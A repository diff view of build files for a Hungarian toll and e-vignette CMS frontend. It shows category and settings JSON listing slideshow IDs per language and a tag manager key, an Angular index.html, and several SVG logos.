Kérdések","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"614c7e8e96e01e004d87f0be","name":"Weboldal","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"61544dc096e01e004d87f16f","name":"E-útdíj Gyakran Ismételt Kérdések","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"618ce844f8e1e6003dbbe16a","name":"Beszerzések","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"618e9fbd26e048003ed7b1e5","name":"Egyéb nyelvek","categoryType":"6144419b394878004bd95329","notSearchable":null,"cover":null,"contentCategoryInfos":[]},{"id":"63400901408a6e0014550bf0","name":"Információs sáv","categoryType":"6144419b394878004bd95329","notSearchable":true,"cover":null,"contentCategoryInfos":[]}]

View File

@@ -0,0 +1,19 @@
<!DOCTYPE html><html lang="en"><head>
<meta charset="utf-8">
<title>CMS2</title>
<base href="/">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta http-equiv="cache-control" content="no-cache, must-revalidate, post-check=0, pre-check=0">
<meta http-equiv="expires" content="0">
<meta http-equiv="expires" content="-1">
<meta http-equiv="pragma" content="no-cache">
<link rel="icon" type="image/x-icon" href="/assets/cirmos.png">
<style>.mat-typography{font:400 14px/20px Roboto,Helvetica Neue,sans-serif;letter-spacing:normal}@-webkit-keyframes mdi-spin{0%{transform:rotate(0)}to{transform:rotate(359deg)}}:root{--border-color:rgba(0, 0, 0, .42)}html,body{height:100%;margin:0;font:62.5% Roboto,sans-serif;background-color:#eee}@media print{html,body{height:auto!important}}@font-face{font-family:Roboto;font-style:normal;font-weight:300;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:italic;font-weight:300;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-300italic.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:normal;font-weight:400;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-regular.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:italic;font-weight:400;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-italic.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:normal;font-weight:500;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:italic;font-weight:500;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-500italic.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:normal;font-weight:700;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700.svg#Roboto) format("svg")}@font-face{font-family:Roboto;font-style:italic;font-weight:700;src:url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.eot);src:local(""),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.eot?#iefix) format("embedded-opentype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.woff2) format("woff2"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.woff) format("woff"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.ttf) format("truetype"),url(/assets/fonts/Roboto/roboto-v27-latin-ext-700italic.svg#Roboto) format("svg")}@-webkit-keyframes spinner{to{transform:rotate(360deg)}}</style><link rel="stylesheet" href="styles.84dd41e8ac948dd2.css" media="print" onload="this.media='all'"><noscript><link rel="stylesheet" href="styles.84dd41e8ac948dd2.css"></noscript></head>
<body class="mat-typography">
<app-root></app-root>
<script src="runtime.18240f02020f44bd.js" type="module"></script><script src="polyfills.8855dccc91df54f2.js" type="module"></script><script src="main.f23f897358a04b11.js" type="module"></script>
</body></html>

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
[{"id":"614475cf394878004bd9536c","key":"SlideshowHu","value":"617697bd7c1006003da17544","description":"A CMS főoldali slideshow-hoz kell - magyar"},{"id":"615193c396e01e004d87f0e8","key":"newsCategory","value":"614464d3394878004bd9534f","description":"Hírek kategória azonosítója"},{"id":"6152e49196e01e004d87f10d","key":"eVignetteFaqCategory","value":"614c215696e01e004d87f07f","description":"Gyakran ismételt kérdések kateógria egyedi azonosítója"},{"id":"61544ddd96e01e004d87f170","key":"hugoFaqCategory","value":"61544dc096e01e004d87f16f","description":null},{"id":"61838ef20e1708003d50dd77","key":"SlideshowEn","value":"61838cda0e1708003d50dd72","description":"Slideshow angol nyelvű tartalomhoz"},{"id":"61838f200e1708003d50dd78","key":"SlideshowDe","value":"61838e940e1708003d50dd74","description":"Slideshow német nyelvű tartalomhoz"},{"id":"618e738526e048003ed7b1a2","key":"SlideshowEng","value":"618e737126e048003ed7b19f","description":"Angol nyelvű slideshow ( médiagyűjtemény) egyedi azonosítója."},{"id":"62c67d1a7f2a4200493be049","key":"cookie","value":"6149cf5ae277d50050630e5d","description":"NUD cookie tartalom kategória id"},{"id":"62c67d827f2a4200493be04a","key":"SlideshowMk","value":"648ab9e9c4bb3237bb370060","description":"makedón slideshow"},{"id":"6340091a408a6e0014550bf1","key":"informationPanelCategoryId","value":"63400901408a6e0014550bf0","description":"A NUD szakrendszer információs sáv kategóriájának azonosítója, ami alapján a frontend alkalmazás le tud kérdezni, van-e olyan tartalom, amit meg kell jeleníteni az oldal tetején az információs sávban."},{"id":"6343d4a2408a6e0014550c1e","key":"GTMKey","value":"GTM-5FHQBJG","description":"GTM Key"},{"id":"647ded2556019f0014f99727","key":"SlideshowRo","value":"648050a156019f0014f99729","description":"Román Slideshow"},{"id":"6486d29594d8fc6aae4b1ea3","key":"SlideshowHr","value":"6486d191bfa0862c866c37b1","description":"Horvát Slideshow"},{"id":"6487141e36f5bb2e0e2a27ec","key":"SlideshowSk","value":"648713fec4bb3237bb37003a","description":"Szlovák slideshow"},{"id":"64895958bfa0862c866c37cb","key":"SlideshowPl","value":"6489593336f5bb2e0e2a27f1","description":"Lengyel slideshow"},{"id":"64897ea036f5bb2e0e2a27f6","key":"SlideshowCz","value":"64897e3ce64ad362c9e75cbc","description":"Cseh slideshow"},{"id":"6489ac18c4bb3237bb37004a","key":"SlideshowBg","value":"6489abd8c4bb3237bb370049","description":"Bolgár slideshow"},{"id":"6489ac49bfa0862c866c37d2","key":"SlideshowSl","value":"6489abe6bfa0862c866c37d1","description":"Szlovén slideshow"},{"id":"648aa71836f5bb2e0e2a280d","key":"SlideshowEs","value":"648aa6c3e64ad362c9e75cc5","description":"Spanyol slideshow"},{"id":"648aa76dbfa0862c866c37e8","key":"SlideshowFr","value":"648aa73cbfa0862c866c37e7","description":"Francia slideshow"},{"id":"648aae4794d8fc6aae4b2c10","key":"SlideshowIt","value":"648aae0236f5bb2e0e2a2811","description":"Olasz slideshow"},{"id":"648ab9bb36f5bb2e0e2a2817","key":"SlideshowLt","value":"648ab99936f5bb2e0e2a2815","description":"Litván slideshow"},{"id":"648abbabe64ad362c9e75cd3","key":"SlideshowRu","value":"648abb89d5bdf14f50e48ef2","description":"Orosz slideshow"},{"id":"648abf5494d8fc6aae4b2c1b","key":"SlideshowUa","value":"648abf3d36f5bb2e0e2a2819","description":"Ukrán slideshow"},{"id":"648ad66f94d8fc6aae4b2c1f","key":"SlideshowTr","value":"648ad62c36f5bb2e0e2a2821","description":"Török slideshow"},{"id":"64a2d6d95ed2c300136a59b6","key":"SlideshowBa","value":"64a2d6a9d6cb3b001382f211","description":"Bosnyák slideshow"},{"id":"64afec4b078286749157015f","key":"SlideshowRs","value":"64afeba5980c916d9e9ee4cc","description":"Szerb slideshow"}]

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,52 @@
<svg width="34" height="48" viewBox="0 0 34 48" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M3.46015 33.2363C1.91756 33.2363 0.659424 31.9782 0.659424 30.4356V3.04096C0.659424 1.49837 1.91756 0.240234 3.46015 0.240234H30.8657C32.4083 0.240234 33.6664 1.49837 33.6664 3.04096V30.4465C33.6664 31.9891 32.4083 33.2472 30.8657 33.2472H3.46015V33.2363Z" fill="#597B91"/>
<path d="M30.8657 0.481375C32.277 0.481375 33.4257 1.63011 33.4257 3.04141V30.447C33.4257 31.8583 32.277 33.007 30.8657 33.007H3.46011C2.04881 33.007 0.900076 31.8583 0.900076 30.447V3.04141C0.900076 1.63011 2.04881 0.481375 3.46011 0.481375H30.8657ZM30.8657 0H3.46011C1.78624 0 0.418701 1.36754 0.418701 3.04141V30.447C0.418701 32.1208 1.78624 33.4884 3.46011 33.4884H30.8657C32.5395 33.4884 33.9071 32.1208 33.9071 30.447V3.04141C33.9071 1.36754 32.5395 0 30.8657 0Z" fill="white"/>
<path d="M10.7135 3.70898H11.1839L12.278 5.3938V3.70898H12.7703V6.27996H12.2998L11.2058 4.59515V6.27996H10.7135V3.70898Z" fill="white"/>
<path d="M13.3174 3.70898H14.7177V4.19036H13.7988V4.64985H14.7177V5.12029H13.7988V5.79859H14.7177V6.27996H13.3174V3.70898Z" fill="white"/>
<path d="M15.3851 3.70898H15.8665L16.4572 5.5032L17.0589 3.70898H17.5294L17.9561 6.27996H17.4856L17.2121 4.66079L16.6651 6.27996H16.2384L15.7023 4.66079L15.4179 6.27996H14.9365L15.3851 3.70898Z" fill="white"/>
<path d="M18.1858 3.70898H19.7394L18.8204 5.80953H19.6737V6.27996H18.1093L19.0173 4.2013H18.1858V3.70898Z" fill="white"/>
<path d="M20.0675 3.70898H21.4679V4.19036H20.5489V4.64985H21.4679V5.12029H20.5489V5.79859H21.4679V6.27996H20.0675V3.70898Z" fill="white"/>
<path d="M21.6429 3.70898H23.0652V4.19036H22.5948V6.27996H22.1024V4.19036H21.6429V3.70898Z" fill="white"/>
<path d="M23.3278 3.70898H23.8091V6.27996H23.3278V3.70898Z" fill="white"/>
<path d="M6.93909 7.9975H7.4314V9.66043C7.4314 9.80265 7.44234 9.90111 7.46422 9.96676C7.4861 10.0215 7.52987 10.0762 7.58457 10.109C7.63927 10.1418 7.71585 10.1637 7.79243 10.1637C7.87996 10.1637 7.95654 10.1418 8.01124 10.109C8.07688 10.0652 8.12064 10.0215 8.14252 9.95582C8.1644 9.89017 8.17534 9.78077 8.17534 9.60572V7.9975H8.66766V9.52914C8.66766 9.79171 8.65672 9.96676 8.6239 10.0652C8.59108 10.1637 8.53638 10.2621 8.45979 10.3497C8.37227 10.4481 8.28475 10.5138 8.17534 10.5575C8.06594 10.6013 7.9456 10.6232 7.80337 10.6232C7.61739 10.6232 7.45328 10.5794 7.322 10.4919C7.17977 10.4044 7.08131 10.295 7.02661 10.1746C6.97191 10.0433 6.93909 9.82453 6.93909 9.5182V7.9975ZM7.8909 7.11133H8.45979L7.82525 7.80057H7.4861L7.8909 7.11133Z" fill="white"/>
<path d="M8.95215 7.99805H10.3744V8.47942H9.90396V10.569H9.41164V8.47942H8.95215V7.99805Z" fill="white"/>
<path d="M10.6698 7.99805H11.2496C11.6216 7.99805 11.8951 8.04181 12.0811 8.14027C12.2671 8.22779 12.4093 8.38096 12.5297 8.58883C12.65 8.79669 12.7047 9.03738 12.7047 9.32183C12.7047 9.51875 12.6719 9.70474 12.6062 9.86884C12.5406 10.0329 12.4531 10.1752 12.3327 10.2846C12.2124 10.394 12.092 10.4706 11.9608 10.5143C11.8295 10.5581 11.5888 10.58 11.2606 10.58H10.6698V7.99805ZM11.1621 8.46848V10.0877H11.3919C11.6107 10.0877 11.7748 10.0658 11.8732 10.0111C11.9717 9.95637 12.0592 9.86884 12.1249 9.7485C12.1905 9.62816 12.2233 9.47499 12.2233 9.29995C12.2233 9.02644 12.1467 8.81857 11.9936 8.66541C11.8514 8.53412 11.6325 8.45754 11.3372 8.45754H11.1621V8.46848Z" fill="white"/>
<path d="M13.4268 7.11133H13.9957L13.3611 7.80057H13.022L13.4268 7.11133ZM13.0986 7.9975H13.5799V10.5685H13.0986V7.9975Z" fill="white"/>
<path d="M14.7397 7.99805H15.232V9.70474C15.232 9.97825 15.2101 10.1642 15.1663 10.2736C15.1226 10.383 15.0569 10.4706 14.9585 10.5362C14.86 10.6018 14.7397 10.6347 14.5974 10.6347C14.313 10.6347 14.0723 10.5143 13.8754 10.2627L14.2255 9.93449C14.302 10.022 14.3677 10.0877 14.4224 10.1095C14.4771 10.1424 14.5318 10.1533 14.5865 10.1533C14.6412 10.1533 14.674 10.1314 14.7068 10.0877C14.7287 10.0439 14.7506 9.94543 14.7506 9.79226V7.99805H14.7397Z" fill="white"/>
<path d="M15.7899 7.99805H17.059V8.47942H16.2713V8.94986H17.059V9.42029H16.2713V10.58H15.7899V7.99805Z" fill="white"/>
<path d="M17.4309 7.99805H17.9123V10.569H17.4309V7.99805Z" fill="white"/>
<path d="M18.2952 7.99805H19.8487L18.9297 10.0986H19.7831V10.569H18.2186L19.1267 8.49036H18.2952V7.99805Z" fill="white"/>
<path d="M20.1769 7.99805H21.5772V8.47942H20.6583V8.93892H21.5772V9.40935H20.6583V10.0877H21.5772V10.569H20.1769V7.99805Z" fill="white"/>
<path d="M21.7523 7.99805H23.1746V8.47942H22.7041V10.569H22.2118V8.47942H21.7523V7.99805Z" fill="white"/>
<path d="M23.47 7.9975H24.8703V8.47887H23.9513V8.93836H24.8703V9.4088H23.9513V10.0871H24.8703V10.5685H23.47V7.9975ZM24.2577 7.11133H24.8266L24.192 7.80057H23.8529L24.2577 7.11133Z" fill="white"/>
<path d="M26.6317 8.34815L26.2707 8.66542C26.1394 8.49038 26.0191 8.40285 25.8878 8.40285C25.8221 8.40285 25.7674 8.42473 25.7346 8.45755C25.6909 8.49038 25.669 8.53414 25.669 8.5779C25.669 8.62166 25.6799 8.66542 25.7127 8.69824C25.7565 8.75294 25.8768 8.86235 26.0738 9.02645C26.2598 9.17962 26.3692 9.27808 26.4129 9.32184C26.5114 9.4203 26.577 9.51877 26.6208 9.60629C26.6646 9.69381 26.6864 9.79228 26.6864 9.90168C26.6864 10.1095 26.6099 10.2846 26.4676 10.4268C26.3254 10.569 26.1285 10.6347 25.8987 10.6347C25.7127 10.6347 25.5596 10.5909 25.4174 10.5034C25.2861 10.4159 25.1657 10.2737 25.0673 10.0767L25.483 9.8251C25.6033 10.0548 25.7456 10.1642 25.9097 10.1642C25.9972 10.1642 26.0628 10.1424 26.1175 10.0877C26.1722 10.0439 26.2051 9.97826 26.2051 9.92356C26.2051 9.86886 26.1832 9.80322 26.1394 9.74851C26.0957 9.69381 25.9972 9.60629 25.855 9.48595C25.5705 9.2562 25.3955 9.08115 25.3079 8.96081C25.2314 8.84047 25.1876 8.70918 25.1876 8.58884C25.1876 8.41379 25.2532 8.26063 25.3955 8.12934C25.5268 7.99806 25.7018 7.94336 25.8987 7.94336C26.03 7.94336 26.1504 7.97618 26.2598 8.03088C26.3801 8.08558 26.5004 8.18405 26.6317 8.34815Z" fill="white"/>
<path d="M27.0803 7.99805H27.5617V10.569H27.0803V7.99805Z" fill="white"/>
<path d="M3.42726 12.6362L3.06623 12.9535C2.93495 12.7785 2.8146 12.6909 2.68332 12.6909C2.61768 12.6909 2.56297 12.7128 2.53015 12.7456C2.48639 12.7785 2.46451 12.8222 2.46451 12.866C2.46451 12.9097 2.47545 12.9535 2.50827 12.9863C2.55203 13.041 2.67238 13.1504 2.8693 13.3145C3.05529 13.4677 3.16469 13.5662 3.20845 13.6099C3.30692 13.7084 3.37256 13.8069 3.41632 13.8944C3.46008 13.9819 3.48196 14.0804 3.48196 14.1898C3.48196 14.3976 3.40538 14.5727 3.26316 14.7149C3.12093 14.8571 2.92401 14.9228 2.69426 14.9228C2.50827 14.9228 2.35511 14.879 2.21288 14.7915C2.0816 14.704 1.96126 14.5617 1.86279 14.3648L2.27853 14.1132C2.39887 14.3429 2.54109 14.4523 2.7052 14.4523C2.79272 14.4523 2.85836 14.4305 2.91307 14.3758C2.96777 14.332 3.00059 14.2663 3.00059 14.2116C3.00059 14.1569 2.97871 14.0913 2.93495 14.0366C2.89118 13.9819 2.79272 13.8944 2.6505 13.774C2.36605 13.5443 2.191 13.3692 2.10348 13.2489C2.0269 13.1286 1.98314 12.9973 1.98314 12.8769C1.98314 12.7019 2.04878 12.5487 2.191 12.4174C2.32229 12.2861 2.49733 12.2314 2.69426 12.2314C2.82554 12.2314 2.94589 12.2643 3.05529 12.319C3.16469 12.3737 3.28504 12.4831 3.42726 12.6362Z" fill="white"/>
<path d="M3.7664 12.2861H5.31993L4.40094 14.3867H5.25429V14.8571H3.68982L4.59787 12.7784H3.7664V12.2861Z" fill="white"/>
<path d="M6.86255 12.2207C7.22358 12.2207 7.54085 12.352 7.80342 12.6146C8.06599 12.8771 8.19727 13.1944 8.19727 13.5773C8.19727 13.9493 8.06599 14.2665 7.81436 14.5291C7.55179 14.7917 7.24546 14.923 6.87349 14.923C6.49058 14.923 6.17331 14.7917 5.91074 14.5182C5.65912 14.2556 5.52783 13.9383 5.52783 13.5664C5.52783 13.3257 5.58253 13.0959 5.70288 12.8881C5.82322 12.6802 5.98733 12.5161 6.19519 12.3957C6.40306 12.2863 6.62187 12.2207 6.86255 12.2207ZM6.86255 12.7021C6.62187 12.7021 6.42494 12.7896 6.26083 12.9537C6.09673 13.1178 6.02015 13.3257 6.02015 13.5882C6.02015 13.8727 6.11861 14.0915 6.32648 14.2665C6.47964 14.3978 6.66563 14.4635 6.87349 14.4635C7.10324 14.4635 7.30017 14.3759 7.46427 14.2118C7.62838 14.0477 7.70496 13.8399 7.70496 13.5882C7.70496 13.3476 7.61744 13.1397 7.45333 12.9646C7.28923 12.7896 7.0923 12.7021 6.86255 12.7021Z" fill="white"/>
<path d="M8.61304 12.2861H9.10535V14.3867H9.81647V14.8571H8.61304V12.2861Z" fill="white"/>
<path d="M12.5296 12.7019L12.1904 13.041C11.9716 12.8113 11.72 12.6909 11.4246 12.6909C11.173 12.6909 10.9651 12.7785 10.7901 12.9426C10.615 13.1067 10.5385 13.3145 10.5385 13.5552C10.5385 13.8069 10.626 14.0147 10.801 14.1898C10.9761 14.3648 11.1949 14.4523 11.4574 14.4523C11.6216 14.4523 11.7638 14.4195 11.8841 14.3429C12.0045 14.2773 12.092 14.1569 12.1686 14.0147H11.4246V13.5552H12.7156V13.6646C12.7156 13.8944 12.6609 14.1022 12.5405 14.2992C12.4202 14.4961 12.278 14.6493 12.092 14.7587C11.906 14.8681 11.6872 14.9228 11.4356 14.9228C11.173 14.9228 10.9323 14.8681 10.7244 14.7477C10.5166 14.6274 10.3525 14.4633 10.2321 14.2554C10.1118 14.0366 10.0461 13.8069 10.0461 13.5662C10.0461 13.227 10.1555 12.9316 10.3853 12.68C10.6479 12.3846 10.998 12.2314 11.4246 12.2314C11.6434 12.2314 11.8622 12.2752 12.0482 12.3518C12.2014 12.4174 12.3655 12.5378 12.5296 12.7019Z" fill="white"/>
<path d="M13.9081 12.2866H14.4004L15.385 14.8575H14.8818L14.6849 14.3324H13.6346L13.4267 14.8575H12.9235L13.9081 12.2866ZM14.1597 12.9649L13.8206 13.851H14.5098L14.1597 12.9649ZM14.2363 11.4004H14.8052L14.1707 12.0896H13.8315L14.2363 11.4004Z" fill="white"/>
<path d="M15.7242 12.2861H16.2166V14.3867H16.9277V14.8571H15.7242V12.2861Z" fill="white"/>
<path d="M17.0151 12.2861H18.4374V12.7675H17.9669V14.8571H17.4746V12.7675H17.0151V12.2861Z" fill="white"/>
<path d="M19.5095 12.2861H20.0018L20.9865 14.8571H20.4832L20.2863 14.332H19.236L19.0282 14.8571H18.5249L19.5095 12.2861ZM19.7612 12.9644L19.422 13.8506H20.1113L19.7612 12.9644Z" fill="white"/>
<path d="M21.085 12.2861H22.5072V12.7675H22.0368V14.8571H21.5445V12.7675H21.085V12.2861Z" fill="white"/>
<path d="M24.017 12.2209C24.378 12.2209 24.6953 12.3522 24.9578 12.6148C25.2204 12.8773 25.3517 13.1946 25.3517 13.5775C25.3517 13.9495 25.2204 14.2668 24.9688 14.5293C24.7062 14.7919 24.3999 14.9232 24.0279 14.9232C23.645 14.9232 23.3277 14.7919 23.0652 14.5184C22.8135 14.2558 22.6823 13.9386 22.6823 13.5666C22.6823 13.3259 22.737 13.0961 22.8573 12.8883C22.9776 12.6804 23.1417 12.5163 23.3496 12.396C23.5575 12.2866 23.7763 12.2209 24.017 12.2209ZM24.006 12.7023C23.7653 12.7023 23.5684 12.7898 23.4043 12.9539C23.2402 13.118 23.1636 13.3259 23.1636 13.5885C23.1636 13.8729 23.2621 14.0917 23.47 14.2668C23.6231 14.398 23.8091 14.4637 24.017 14.4637C24.2467 14.4637 24.4436 14.3762 24.6077 14.2121C24.7719 14.048 24.8484 13.8401 24.8484 13.5885C24.8484 13.3478 24.7609 13.1399 24.5968 12.9649C24.4436 12.7898 24.2467 12.7023 24.006 12.7023ZM24.1045 11.4004H24.6734L24.0389 12.0896H23.6997L24.1045 11.4004Z" fill="white"/>
<path d="M26.5989 12.2861H28.1525L27.2335 14.3867H28.0868V14.8571H26.5223L27.4304 12.7784H26.5989V12.2861Z" fill="white"/>
<path d="M28.5244 12.2861H29.0386C29.3231 12.2861 29.52 12.308 29.6403 12.3627C29.7607 12.4174 29.8591 12.494 29.9357 12.6143C30.0123 12.7347 30.0451 12.866 30.0451 13.0301C30.0451 13.1942 30.0014 13.3364 29.9248 13.4567C29.8482 13.5662 29.7169 13.6537 29.5637 13.7193L30.1764 14.8571H29.6403L29.0605 13.774H29.0167V14.8571H28.5244V12.2861ZM29.0058 13.2926H29.159C29.3121 13.2926 29.4215 13.2708 29.4762 13.227C29.5309 13.1832 29.5637 13.1176 29.5637 13.0191C29.5637 12.9644 29.5528 12.9097 29.52 12.8769C29.4872 12.8331 29.4543 12.8003 29.3996 12.7894C29.3559 12.7675 29.2574 12.7675 29.1371 12.7675H29.0058V13.2926Z" fill="white"/>
<path d="M30.2749 12.2861H31.6971V12.7675H31.2267V14.8571H30.7344V12.7675H30.2749V12.2861Z" fill="white"/>
<path d="M32.2004 14.3535C32.277 14.3535 32.3426 14.3754 32.3973 14.4301C32.452 14.4848 32.4739 14.5504 32.4739 14.627C32.4739 14.7036 32.452 14.7692 32.3973 14.8239C32.3426 14.8787 32.277 14.9005 32.2004 14.9005C32.1238 14.9005 32.0582 14.8787 32.0035 14.8239C31.9488 14.7692 31.9269 14.7036 31.9269 14.627C31.9269 14.5504 31.9488 14.4848 32.0035 14.4301C32.0582 14.3863 32.1238 14.3535 32.2004 14.3535Z" fill="white"/>
<path d="M17.1684 47.4813C25.1657 47.4813 31.6424 41.0047 31.6424 33.0073C31.6424 25.0099 25.1657 18.5332 17.1684 18.5332C9.17097 18.5332 2.68335 24.9989 2.68335 32.9963C2.68335 40.9937 9.17097 47.4813 17.1684 47.4813Z" fill="#F99D2A"/>
<mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="2" y="18" width="30" height="30">
<path d="M17.1684 47.4813C25.1657 47.4813 31.6424 41.0047 31.6424 33.0073C31.6424 25.0099 25.1657 18.5332 17.1684 18.5332C9.17097 18.5332 2.68335 24.9989 2.68335 32.9963C2.68335 40.9937 9.17097 47.4813 17.1684 47.4813Z" fill="#F99D2A"/>
</mask>
<g mask="url(#mask0)">
<path d="M23.2292 34.834H18.5796L19.422 51.8462H28.3931L23.2292 34.834Z" fill="white"/>
<path d="M11.1402 34.834H15.7899L14.9365 51.8462H5.96545L11.1402 34.834Z" fill="white"/>
<path d="M10.2869 32.722L9.84925 34.177H8.66769V32.7657H5.58252V31.6279H28.8198V32.7657H25.7565V34.177H24.564L24.1264 32.722H10.2869Z" fill="white"/>
<path d="M15.1663 18.8828H16.5995L15.9321 29.9326H11.7529L15.1663 18.8828Z" fill="white"/>
<path d="M19.1048 18.8828H17.6169L18.3499 29.9326H22.5182L19.1048 18.8828Z" fill="white"/>
</g>
<path d="M17.1683 19.1783C9.54288 19.1783 3.35065 25.3815 3.35065 32.996C3.35065 40.6214 9.55382 46.8136 17.1683 46.8136C24.7828 46.8136 30.9859 40.6214 30.9859 32.996C30.9859 25.3815 24.7828 19.1783 17.1683 19.1783ZM17.1683 47.6123C9.10526 47.6123 2.552 41.059 2.552 32.996C2.552 24.9439 9.10526 18.3906 17.1574 18.3906C25.2094 18.3906 31.7627 24.9439 31.7627 32.996C31.7736 41.059 25.2204 47.6123 17.1683 47.6123Z" fill="white"/>
<path d="M17.1683 47.853C15.1663 47.853 13.2189 47.4592 11.3809 46.6824C9.60856 45.9385 8.02221 44.8663 6.65467 43.4988C5.28713 42.1312 4.21497 40.5449 3.47103 38.7725C2.69427 36.9455 2.30042 34.9981 2.30042 32.9851C2.30042 30.983 2.69427 29.0356 3.47103 27.1977C4.21497 25.4253 5.28713 23.839 6.65467 22.4714C8.02221 21.1039 9.60856 20.0317 11.3809 19.2878C13.2079 18.511 15.1553 18.1172 17.1683 18.1172C19.1814 18.1172 21.1178 18.511 22.9558 19.2878C24.7281 20.0317 26.3145 21.1039 27.682 22.4714C29.0495 23.839 30.1217 25.4253 30.8656 27.1977C31.6424 29.0247 32.0363 30.9721 32.0363 32.9851C32.0363 34.9872 31.6424 36.9346 30.8656 38.7725C30.1217 40.5449 29.0495 42.1312 27.682 43.4988C26.3145 44.8663 24.7281 45.9385 22.9558 46.6824C21.1178 47.4592 19.1704 47.853 17.1683 47.853ZM17.1683 18.6314C9.24753 18.6314 2.80367 25.0752 2.80367 32.996C2.80367 40.9168 9.24753 47.3607 17.1683 47.3607C25.0891 47.3607 31.533 40.9168 31.533 32.996C31.533 25.0752 25.0782 18.6314 17.1683 18.6314Z" fill="#F99D2A"/>
</svg>

After

Width:  |  Height:  |  Size: 14 KiB

View File

@@ -0,0 +1 @@
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>

After

Width:  |  Height:  |  Size: 300 B

View File

@@ -0,0 +1,15 @@
<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M4.75977 0.259006L19.3986 0.230225C19.4058 5.68428 19.4526 16.0383 19.4382 16.5816C19.4166 17.4486 19.4022 17.6933 18.9309 18.1898C16.7004 20.0318 14.4699 21.8702 12.2357 23.7122C9.87564 21.8846 7.67747 20.1037 5.34259 18.1898C4.8569 17.6825 4.81373 17.5134 4.78855 16.6176L4.75977 0.259006Z" fill="#E40E20"/>
